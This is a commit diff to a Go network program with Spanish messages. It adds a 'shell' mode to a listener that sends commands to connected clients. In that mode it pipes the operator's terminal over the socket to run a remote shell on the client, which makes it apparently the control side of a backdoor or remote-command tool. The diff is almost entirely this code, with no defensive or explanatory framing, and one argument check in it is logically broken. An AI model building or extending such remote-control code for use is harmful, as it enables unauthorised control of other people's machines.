act
This commit is contained in:
+13
-2
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"io"
|
||||
)
|
||||
|
||||
type localAddr struct {
|
||||
@@ -34,16 +35,26 @@ func (la localAddr) BindPort() {
|
||||
}
|
||||
}
|
||||
|
||||
func getShell(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
go io.Copy(os.Stdout, conn)
|
||||
io.Copy(conn, os.Stdin)
|
||||
|
||||
}
|
||||
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
if len(os.Args) < 1 {
|
||||
fmt.Println("Escribir comando que tenga que realizar el cliente")
|
||||
} else {
|
||||
fmt.Println("Ejecutando", os.Args[1:])
|
||||
} else if os.Args[1] == "shell" {
|
||||
fmt.Println("Ejecutando shell remota en el cliente")
|
||||
getShell(conn)
|
||||
}
|
||||
|
||||
|
||||
|
||||
comando := os.Args[1:]
|
||||
comandoUnido := strings.Join(comando, " ")
|
||||
_, err := conn.Write([]byte(comandoUnido))
|
||||
|
||||
Reference in New Issue
Block a user